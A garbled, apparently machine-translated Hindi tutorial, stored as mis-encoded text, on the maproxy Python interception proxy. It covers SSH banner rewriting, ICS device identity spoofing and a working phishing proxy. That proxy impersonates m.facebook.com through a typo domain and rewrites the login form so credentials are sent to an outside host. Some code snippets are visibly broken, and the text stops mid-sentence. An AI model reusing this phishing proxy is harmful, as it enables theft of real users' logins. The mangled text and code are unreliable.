рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВ

рдкрд╛рдареНрдпрдХреНрд░рдо рдХреА рд╢реБрд░реБрдЖрдд рдХреА рдкреВрд░реНрд╡ рд╕рдВрдзреНрдпрд╛ рдкрд░ рд▓реЗрдЦ рдХрд╛ рдЕрдиреБрд╡рд╛рдж рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ тАЬрдкреЗрдиреНрдЯреЗрд╕реНрдЯ. рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдЕрднреНрдпрд╛рд╕".

рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВ

рдЕрдореВрд░реНрдд

рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдореВрд▓реНрдпрд╛рдВрдХрди, рдирд┐рдпрдорд┐рдд рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдФрд░ рд░реЗрдб рдЯреАрдо рд╕рдВрдЪрд╛рд▓рди рд╕реЗ рд▓реЗрдХрд░ IoT/ICS рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ SCADA рдХреЛ рд╣реИрдХ рдХрд░рдиреЗ рддрдХ, рдмрд╛рдЗрдирд░реА рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдпрд╛рдиреА рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд▓рдХреНрд╖реНрдп рдХреЗ рдмреАрдЪ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдирд╛ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ред рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕реВрдБрдШрдирд╛ рдХреЛрдИ рдореБрд╢реНрдХрд┐рд▓ рдХрд╛рдо рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╡рд╛рдпрд░рд╢рд╛рд░реНрдХ, рдЯреАрд╕реАрдкреАрдбрдореНрдк рдпрд╛ рд╕реНрдХреИрдкреА рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╕рдВрд╢реЛрдзрди рдЕрдзрд┐рдХ рд╢реНрд░рдо-рдЧрд╣рди рдХрд╛рд░реНрдп рд▓рдЧрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрдВ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЛ рдкрдврд╝рдиреЗ, рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ, рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдпрд╣ рддреБрд░рдВрдд рдЪрд▓рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд▓рдЧрднрдЧ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдореЗрдВ рд▓рдХреНрд╖реНрдп рд╣реЛрд╕реНрдЯ рдХреЛ рд╡рд╛рдкрд╕ рднреЗрдЬ рджреЗрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЖрджрд░реНрд╢ рд╣реЛрдЧрд╛ рдпрджрд┐ рдРрд╕рд╛ рдЙрдкрдХрд░рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдХрдИ рд╕рдорд╛рдирд╛рдВрддрд░ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд╕рдХреЗ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрдХреВрд▓рди рдпреЛрдЧреНрдп рд╣реЛред

рдПрдХ рджрд┐рди рдореБрдЭреЗ рдПрдХ рдЯреВрд▓ рдорд┐рд▓рд╛ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рд╣реИ maproxy, рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдиреЗ рддреБрд░рдВрдд рдореБрдЭреЗ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рдХрд░ рджрд┐рдпрд╛ maproxy - рдмрд╕ рдореИрдВ рдпрд╣ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред рдпрд╣ рдХрд╛рдлреА рд╕рд░рд▓, рдмрд╣реБрдореБрдЦреА рдФрд░ рдЖрд╕рд╛рдиреА рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЯреАрд╕реАрдкреА рдкреНрд░реЙрдХреНрд╕реА рд╣реИред рдореИрдВрдиреЗ рдЗрд╕ рдЯреВрд▓ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрдИ рдЬрдЯрд┐рд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдкрд░ рдХрд┐рдпрд╛, рдЬрд┐рдирдореЗрдВ рдЖрдИрд╕реАрдПрд╕ рдбрд┐рд╡рд╛рдЗрд╕ (рдЬреЛ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреИрдХреЗрдЯ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ) рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдХрдИ рд╕рдорд╛рдирд╛рдВрддрд░ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЯреВрд▓ рдиреЗ рдЕрдЪреНрдЫрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд┐рдпрд╛ред

рдпрд╣ рдЖрд▓реЗрдЦ рдЖрдкрдХреЛ рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рдХрд░рд╛рдПрдЧрд╛ maproxy.

╨Ю╨▒╨╖╨╛╤А

рдЙрдкрдХрд░рдг maproxy рдЯреЙрд░рдиреЗрдбреЛ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдЬреЛ рдкрд╛рдпрдерди рдореЗрдВ рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рдФрд░ рдкрд░рд┐рдкрдХреНрд╡ рдПрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИред

рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдпрд╣ рдХрдИ рдореЛрдб рдореЗрдВ рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

  • TCP:TCP - рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреАрд╕реАрдкреА рдХрдиреЗрдХреНрд╢рди;
  • TCP:SSL ╨╕ SSL:TCP - рдПрдХ рддрд░рдлрд╝рд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд╕рд╛рде;
  • SSL:SSL - рджреЛрддрд░рдлрд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рдиред

рдпрд╣ рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд░реВрдк рдореЗрдВ рдЖрддрд╛ рд╣реИ. рддреНрд╡рд░рд┐рдд рд╢реБрд░реБрдЖрдд рдХреЗ рд▓рд┐рдП, рдЖрдк рдЙрджрд╛рд╣рд░рдг рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдореБрдЦреНрдп рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИрдВ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛рд░реНрдп:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

рдХреЗрд╕ 1 - рд╕рд░рд▓ рджреНрд╡рд┐рджрд┐рд╢ рдкреНрд░реЙрдХреНрд╕реА

рдХреЗ рдЖрдзрд╛рд░ рдкрд░ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

╨Я╨╛ ╤Г╨╝╨╛╨╗╤З╨░╨╜╨╕╤О ProxyServer() рджреЛ рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИ - рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рди рдФрд░ рд▓рдХреНрд╖реНрдп рдкреЛрд░реНрдЯред server.listen() рдПрдХ рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИ - рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдкреЛрд░реНрдЯред

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛:

# python tcp2tcp.py

рдкрд░реАрдХреНрд╖рдг рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрдкрдиреА рдкреНрд░реЙрдХреНрд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдПрд╕рдПрд╕рдПрдЪ рд╕рд░реНрд╡рд░ рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ, рдЬреЛ рд╕реБрдирддрд╛ рд╣реИ 2222/tcp рдкреЛрд░реНрдЯ рдФрд░ рдПрдХ рдорд╛рдирдХ рдкреЛрд░реНрдЯ рд╕реЗ рдЬреБрдбрд╝рддрд╛ рд╣реИ 22/tcp рдПрд╕рдПрд╕рдПрдЪ рд╕рд░реНрд╡рд░:

рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВ

рд╕реНрд╡рд╛рдЧрдд рдмреИрдирд░ рдЖрдкрдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╣рдорд╛рд░реА рдЙрджрд╛рд╣рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдиреЗ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреНрд░реЙрдХреНрд╕реА рдХрд░ рд▓рд┐рдпрд╛ рд╣реИред

рдХреЗрд╕ 2 - рдбреЗрдЯрд╛ рд╕рдВрд╢реЛрдзрди

рдПрдХ рдФрд░ рдбреЗрдореЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ logging_proxy.py рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ред рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рдЙрди рдХреНрд▓рд╛рд╕ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЕрдкрдиреЗ рд▓рдХреНрд╖реНрдп рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВ

рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдмрд╛рдд рдпрд╣рд╛рдБ рд╣реИ:

  • on_c2p_done_read - рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рд╕рд░реНрд╡рд░ рддрдХ рдХреЗ рд░рд╛рд╕реНрддреЗ рдореЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдирд╛;
  • on_p2s_done_read - рдЙрд▓рдЯрд╛ред

рдЖрдЗрдП SSH рдмреИрдирд░ рдХреЛ рдмрджрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдЬреЛ рд╕рд░реНрд╡рд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рд▓реМрдЯрд╛рддрд╛ рд╣реИ:

[тАж]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[тАж]

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВ

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдЧреБрдорд░рд╛рд╣ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЙрд╕рдХреЗ рд▓рд┐рдП SSH рд╕рд░реНрд╡рд░ рдХрд╛ рдирд╛рдо рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ ┬лDumnySSH┬╗.

рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВ

рдХреЗрд╕ 3 - рд╕рд░рд▓ рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╡реЗрдм рдкреЗрдЬ

рдЗрд╕ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдЕрдирдЧрд┐рдирдд рддрд░реАрдХреЗ рд╣реИрдВред рдЗрд╕ рдмрд╛рд░ рдЖрдЗрдП рд░реЗрдб рдЯреАрдо рд╕рдВрдЪрд╛рд▓рди рдХреА рдУрд░ рд╕реЗ рдХреБрдЫ рдЕрдзрд┐рдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЪреАрдЬрд╝реЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВред рдЖрдЗрдП рд▓реИрдВрдбрд┐рдВрдЧ рдкреГрд╖реНрда рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдВ m.facebook.com рдФрд░ рдПрдХ рдЬрд╛рдирдмреВрдЭрдХрд░ рдЯрд╛рдЗрдкреЛ рдХреЗ рд╕рд╛рде рдПрдХ рдХрд╕реНрдЯрдо рдбреЛрдореЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, m.facebok.com. рдкреНрд░рджрд░реНрд╢рди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, рдЖрдЗрдП рдорд╛рди рд▓реЗрдВ рдХрд┐ рдбреЛрдореЗрди рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рдкрдВрдЬреАрдХреГрдд рд╣реИред

рд╣рдо рдЕрдкрдиреЗ рдкреАрдбрд╝рд┐рдд рдкреНрд░реЙрдХреНрд╕реА рдФрд░ рдПрд╕рдПрд╕рдПрд▓ рд╕реНрдЯреНрд░реАрдо рдХреЗ рд╕рд╛рде рдлреЗрд╕рдмреБрдХ рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (31.13.81.36). рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдХрд╛рдо рдореЗрдВ рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ HTTP рд╣реЛрд╕реНрдЯ рд╣реЗрдбрд░ рдХреЛ рдмрджрд▓рдиреЗ рдФрд░ рд╕рд╣реА рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рд╣рдо рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдВрдкреАрдбрд╝рди рдХреЛ рднреА рдЕрдХреНрд╖рдо рдХрд░ рджреЗрдВрдЧреЗ рддрд╛рдХрд┐ рд╣рдо рд╕рд╛рдордЧреНрд░реА рддрдХ рдЖрд╕рд╛рдиреА рд╕реЗ рдкрд╣реБрдВрдЪ рд╕рдХреЗрдВред рдЕрдВрддрддрдГ рд╣рдо HTML рдлреЙрд░реНрдо рдХреЛ рдмрджрд▓ рджреЗрдВрдЧреЗ рддрд╛рдХрд┐ рд▓реЙрдЧрд┐рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдлреЗрд╕рдмреБрдХ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рдмрдЬрд╛рдп рд╣рдореЗрдВ рднреЗрдЬреЗ рдЬрд╛рдПрдВ:

[тАж]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[тАж]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/hi/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[тАж]

рдПрдХ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ:

рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВ

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо рдореВрд▓ рд╕рд╛рдЗрдЯ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдмрджрд▓рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣реЗред

рдХреЗрд╕ 4 - рдИрдерд░рдиреЗрдЯ/рдЖрдИрдкреА рдкреЛрд░реНрдЯ рдХрд░рдирд╛

рдореИрдВ рдХрд╛рдлреА рд╕рдордп рд╕реЗ рдФрджреНрдпреЛрдЧрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ (рдЖрдИрд╕реАрдПрд╕/рдПрд╕рд╕реАрдПрдбреАрдП) рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реВрдВ, рдЬреИрд╕реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдмрд▓ рдХрдВрдЯреНрд░реЛрд▓рд░ (рдкреАрдПрд▓рд╕реА), рдЖрдИ/рдУ рдореЙрдбреНрдпреВрд▓, рдбреНрд░рд╛рдЗрд╡, рд░рд┐рд▓реЗ, рд▓реИрдбрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рд╡рд╛рддрд╛рд╡рд░рдг рдФрд░ рдХрдИ рдЕрдиреНрдпред рдпрд╣ рдорд╛рдорд▓рд╛ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬреЛ рдФрджреНрдпреЛрдЧрд┐рдХ рдЪреАрдЬреЗрдВ рдкрд╕рдВрдж рдХрд░рддреЗ рд╣реИрдВред рдРрд╕реЗ рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХреЛ рд╣реИрдХ рдХрд░рдиреЗ рдореЗрдВ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдЦреЗрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдореИрдВ рджрд┐рдЦрд╛рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ рдХрд┐ рдЖрдк ICS/SCADA рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдХреИрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

  • рдиреЗрдЯрд╡рд░реНрдХ рдЦреЛрдЬреА, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡рд╛рдпрд░рд╢рд╛рд░реНрдХ;
  • рдИрдерд░рдиреЗрдЯ/рдЖрдИрдкреА рдпрд╛ рд╕рд┐рд░реНрдл рдПрдХ рдПрд╕рдЖрдИрдкреА рдбрд┐рд╡рд╛рдЗрд╕, рдЖрдк рдЗрд╕реЗ рд╢реЛрдбрд╛рди рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ;
  • рд╣рдорд╛рд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ maproxy.

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рд╕реАрдЖрдИрдкреА (рдХреЙрдорди рдЗрдВрдбрд╕реНрдЯреНрд░рд┐рдпрд▓ рдкреНрд░реЛрдЯреЛрдХреЙрд▓) рд╕реЗ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд╣рдЪрд╛рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╕реА рджрд┐рдЦрддреА рд╣реИ:

рддреБрд░рдВрдд рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВ

рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рдкрд╣рдЪрд╛рди рдИрдерд░рдиреЗрдЯ/рдЖрдИрдкреА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреВрд░реА рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рдФрджреНрдпреЛрдЧрд┐рдХ рдИрдерд░рдиреЗрдЯ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдПрдХ рдЙрдиреНрдирдд рд╕рдВрд╕реНрдХрд░рдг рд╣реИ рдЬреЛ рд╕реАрдЖрдИрдкреА рдЬреИрд╕реЗ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рд▓рдкреЗрдЯрддрд╛ рд╣реИред рд╣рдо рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдХрд┐рдП рдЧрдП рдЖрдИрдбреА рдирд╛рдо рдХреЛ рдмрджрд▓рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗ рд░рд╣рд╛ рд╣реИ "рдИрдерд░рдиреЗрдЯ рдХреЗ рд▓рд┐рдП NI-IndComm" рд╣рдорд╛рд░реА рдкреНрд░реЙрдХреНрд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рд╣рдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ logging_proxy.py рдФрд░ рдЗрд╕реА рдкреНрд░рдХрд╛рд░ рдХреНрд▓рд╛рд╕ рд╡рд┐рдзрд┐ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ on_p2s_done_read, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрд░ рдПрдХ рдЕрд▓рдЧ рдкрд╣рдЪрд╛рди рд╡рд╛рд▓рд╛ рдирд╛рдо рджрд┐рдЦрд╛рдИ рджреЗред

рдХреЛрдб:

[тАж]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[тАж]

рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ, рд╣рдордиреЗ рджреЛ рдмрд╛рд░ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рдХрд╣рд╛, рджреВрд╕рд░реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореВрд▓ рдереА, рдФрд░ рдкрд╣рд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рддреБрд░рдВрдд рд╕рдВрд╢реЛрдзрд┐рдд рдХреА рдЧрдИ рдереАред

рдФрд░ рдЖрдЦрд┐рд░реА

